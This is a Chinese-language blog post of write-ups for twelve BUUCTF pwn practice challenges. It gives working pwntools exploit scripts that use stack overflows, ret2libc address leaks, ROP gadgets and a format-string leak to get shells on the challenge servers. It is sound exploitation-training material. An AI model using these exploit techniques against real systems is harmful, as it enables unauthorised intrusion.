BUUCTF刷题(前12道)

哈哈哈,我又来刷题了,看了下BUUCTF上面的pwn题还真多。。。

test_your_nc

BUUCTF刷题(前12道)_第1张图片

ida查看,发现直接执行system,所以,直接交互就可以

//写下简单的脚本
from pwn import *
p = remote('node3.buuoj.cn',28213)
p.interactive()

BUUCTF刷题(前12道)_第2张图片

 

rip

一道简单的栈溢出,但是远程有点问题?。。。所以,,,exp写的怪怪的。。。

BUUCTF刷题(前12道)_第3张图片

没啥好说的

BUUCTF刷题(前12道)_第4张图片

覆盖量为F+8=23

BUUCTF刷题(前12道)_第5张图片

找system函数的时候,如果有参数的话,应该是去text段找,plt表里面的函数参数你懂的。。。还没传进来呢。。

BUUCTF刷题(前12道)_第6张图片

由于远程有点问题,所以,emmm,一个可以得到flag 的方法是,先pop eip,然后再去执行system函数,,,不知道为什么这样好使。。正常来说,直接覆盖返回地址就好了,不要这样加一个pop eip

//exp:
from pwn import *
#context.log_level='debug'
p = remote('node3.buuoj.cn',27075)

sys_addr=0x0401186
retn_addr=0x0401185
#p.recvuntil("input")
payload='a'*23+p64(retn_addr)+p64(sys_addr)
p.sendline(payload)
p.interactive()

BUUCTF刷题(前12道)_第7张图片

 

warmup_csaw_2016

哈哈哈,自己解出来题目的感觉真好。。。差点去看writeup了。。。懒。

BUUCTF刷题(前12道)_第8张图片

一样一样啦,不过没有开启nx(注意,接下来会用到),nx是堆栈不可执行

因为没有开启nx,所以栈上的数据我们是可以用的

BUUCTF刷题(前12道)_第9张图片

程序很简单,覆盖量是0x40+0x8=0x48

BUUCTF刷题(前12道)_第10张图片

看一下text段,发现有system函数,而且,参数看着不错??emm我直接传入这个函数地址了,但是没有用,应该这个参数没有用。。。我记的有的可以?所以,那就自己传参数呗,,,

BUUCTF刷题(前12道)_第11张图片

传入栈的地址是0x40

ok,可以写exp了

from pwn import *
p=remote('node3.buuoj.cn',28749)

binsh_addr=0x40
sys_addr=0x40060D

p.recvuntil(">")
payload='/bin/sh'
payload=payload.ljust(0x48,'a')
payload+=p64(sys_addr)
p.sendline(payload)
p.interactive()

 

pwn1_sctf_2016

早上起来做了一道,emmm,题目简单,只是服务器还是不会发信息,直接发过去就好

BUUCTF刷题(前12道)_第12张图片

32位的程序

BUUCTF刷题(前12道)_第13张图片

我们需要覆盖的量是0x3c,但是我们只能输入32(0x20)的数据

但是程序可以将I转换成三个符号的'you',所以,就可以够用了

0x3c/3=20,也就是20个‘I’,然后在覆盖ebp,四个a,再覆盖返回地址

BUUCTF刷题(前12道)_第14张图片

所以就可以写exp了

from pwn import *
context.log_level='debug'
p=remote('node3.buuoj.cn',25555)

flag_addr=0x08048F0D

payload="I"*20+'aaaa'+p32(flag_addr)
#p.recvuntil("yourself:")
p.sendline(payload)
p.interactive()

 

ciscn_2019_n_1

BUUCTF刷题(前12道)_第15张图片

64位的程序

BUUCTF刷题(前12道)_第16张图片

很显然,我们只需要让v2等于11.825就可以

我们能控制的是v1,位置在rbp-30h

而v2的位置在rbp-4h

所以覆盖量为0x30-0x4=0x2c

有一个问题是,浮点数不能直接转换成字符串str(11.28125),需要找到11.28125在程序中的表示

BUUCTF刷题(前12道)_第17张图片

这里也有一个在线工具:http://lostphp.com/hexconvert/

BUUCTF刷题(前12道)_第18张图片

然后就直接把0x41348000再发过去就行了

exp如下:

from pwn import *
context.log_level='debug'
p=remote('node3.buuoj.cn',29320)
p.recvuntil('number')
payload='a'*0x2c+p64(0x41348000)
p.sendline(payload)
p.interactive()

 

[OGeek2019]babyrop

BUUCTF刷题(前12道)_第19张图片

32位程序

BUUCTF刷题(前12道)_第20张图片BUUCTF刷题(前12道)_第21张图片

因为strlen遇到‘\x00’就会停止,所以我们输入的字符串以‘\x00’开头的话,那么v1=0,strncmp比较的就相等,为0,跳过了验证

 

buf的地址在-2c,返回值v5在-25h,所以,两者相差,我们只要覆盖7个地址,然后在最后一个覆盖很大,比如说‘\xff’就可以

BUUCTF刷题(前12道)_第22张图片

所以,我们还需要上一个函数的返回值很大

 

这里进行栈溢出,因为程序没有后门函数,所以需要泄漏函数地址,计算偏移

泄漏write地址

‘a’*0xe7+'aaaa'+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)

偏移量    ebp      返回地址         write函数的返回地址   1表示输出     输出的内容    输出的长度

得到write函数地址:

write_addr=u32(p.recv(4))

计算基地址:libcbase=write_addr-libc.symbols['write']

计算出system和binsh的偏移

libc文件也是可执行文件,可以在ida里面运行

BUUCTF刷题(前12道)_第23张图片

计算出system和binsh的地址

system_addr=system_base+libcbase

binsh_addr=binsh_base+libcbase

因为刚刚write函数的返回地址是main函数,会在执行一次,第一次还是发‘\x00’和’\xff‘

第二次,就可以偏移+ebp+system+system返回地址+参数得到flag了

exp如下:

#coding=utf-8
from pwn import *
context.log_level='debug'
p=remote('node3.buuoj.cn',29248)
elf=ELF('./babyrop')
libc=ELF('./libc-2.23.so')

system_base=0x0003A940
binsh_base=0x015902b 

write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=0x08048825

payload1='\x00'+'\xff'*7
p.sendline(payload1)
p.recvuntil("Correct\n")

payload2='a'*0xe7+'bbbb'+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
p.sendline(payload2)
write_addr=u32(p.recv(4))

libcbase=write_addr-libc.symbols['write']
sys_addr=libcbase+system_base
binsh_addr=libcbase+binsh_base

p.sendline(payload1)
p.recvuntil("Correct\n")

payload2='a'*0xe7+'bbbb'+p32(sys_addr)+p32(0x0)+p32(binsh_addr)
p.sendline(payload2)
p.interactive()

 

ciscn_2019_c_1

BUUCTF刷题(前12道)_第24张图片

64位程序

BUUCTF刷题(前12道)_第25张图片

一开始看到表单,,,吓死,,,结果发现只有功能一能用,,,

BUUCTF刷题(前12道)_第26张图片

这里,会对我们输入的字符串进行加密,但是我们程序会利用两次,一次泄漏一个函数地址,另一个getshell,所以两次异或数据变回原数据,所以其实不用管,,,

这里,我们需要覆盖的长度为0x50+0x8

接收到字符串,我们可以先打印出来看一下

BUUCTF刷题(前12道)_第27张图片

所以我们可以接收直到@,,,

接下来,就可以得到puts的地址,然后计算出偏移,找到system和binsh的地址,第二次就可以得到flag

exp

# encoding=utf-8
from pwn import *
 
sh = remote('node3.buuoj.cn',27706)
elf = ELF('./ciscn_2019_c_1')

start = elf.sym['main']
rdi_addr = 0x0000000000400c83
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
gets_got = elf.got['gets']

sh.sendlineafter('choice!\n', '1')
payload1 = 'a' * 88 + p64(rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(start)
sh.sendline(payload1)
sh.recvuntil('@')
sh.recvline()
puts_leak = u64(sh.recvline()[:-1].ljust(8, '\0'))
log.success('puts==>'+hex(puts_leak))

libc = ELF('./libc/libc-2.27.so')
libc_base = puts_leak - libc.symbols['puts']
sys_addr = libc_base + libc.symbols['system']

bin_sh_addr = libc_base + 0x001b3e9a

sh.sendlineafter('choice!\n', '1')
payload2 = 'a' * 88 + p64(rdi_addr) + p64(bin_sh_addr) +p64(0x0400C1C)+ p64(sys_addr)
sh.sendline(payload2)
sh.interactive()

ciscn_2019_en_2

和ciscn_2019_c_1这道题本质是一样的,直接把端口改一下,flag就可以出来,,

 

get_started_3dsctf_2016

这道题,看着挺简单,,,稍后来写具体的writeup,

参考博客:

(1)https://www.cnblogs.com/bhxdn/p/12679290.html

(2)https://www.b1ndsec.cn/?p=371

有个地方不太懂得是,貌似都没又覆盖ebp?

静态链接,但是nx堆栈不可执行,但是静态链接里面有一个函数可以修改内存权限

 

学到的一个函数mprotect

函数原型:int mprotect(void * addr,size_t len,int prot);

addr 内存起始地址 ;

len 修改内存的长度

prot内存的权限

readelf -S get_started_3dsctf_2016 :可以查看各个段的基地址

【接下来,,,可能有很多不会,,就不放exp,主要是自己的一些学习心得】

 

[第五空间2019 决赛]PWN5

这道题和HITCON-Training lab7一模一样,,,只是unk_804C044地址不一样

https://blog.csdn.net/qq_43935969/article/details/105135361

emmm,还有就是buuoj没有发字符,,,不用recvuntil了,直接sendline就行

#coding=utf-8
from pwn import *
p=remote('node3.buuoj.cn',27453)
#p=process('./crack')
 
password_addr=0x0804C044
 
#p.recvuntil("name ?")
payload=p32(password_addr)+"#"+"%10$s"+"#"#'#'是必须的,可能需要停顿一下?可以用别的字符
p.sendline(payload)
p.recvuntil("#")
io=p.recvuntil("#")
 
password=u32(io[:4])
#p.recvuntil("password :")
p.sendline(str(password))
p.interactive()
root@kali:~/buuc

还可以参考这篇:https://www.b1ndsec.cn/?p=368

它是字符串读入,直接把那个给改了

 

ciscn_2019_n_8

这道题,简单,不过自己十进制和十六进制有点混乱

BUUCTF刷题(前12道)_第28张图片

只要将v[13]设置为17就行

这里17是十进制的

#coding=utf-8
from pwn import *
connect = 1#连接本地
fileName='ciscn_2019_n_8'#文件名
port='node3.buuoj.cn'#端口
ip=25793#IP地址

if connect:
    p=remote(port,ip)
else :
    p=process("./"+fileName+"")
         
p.recvuntil("?")
p.sendline('aaaa'*13+p32(0x11))
p.interactive()  

【这篇博客有点长了,,,,前12道题,,,接下来重新开一篇新的】

你可能感兴趣的:(pwn)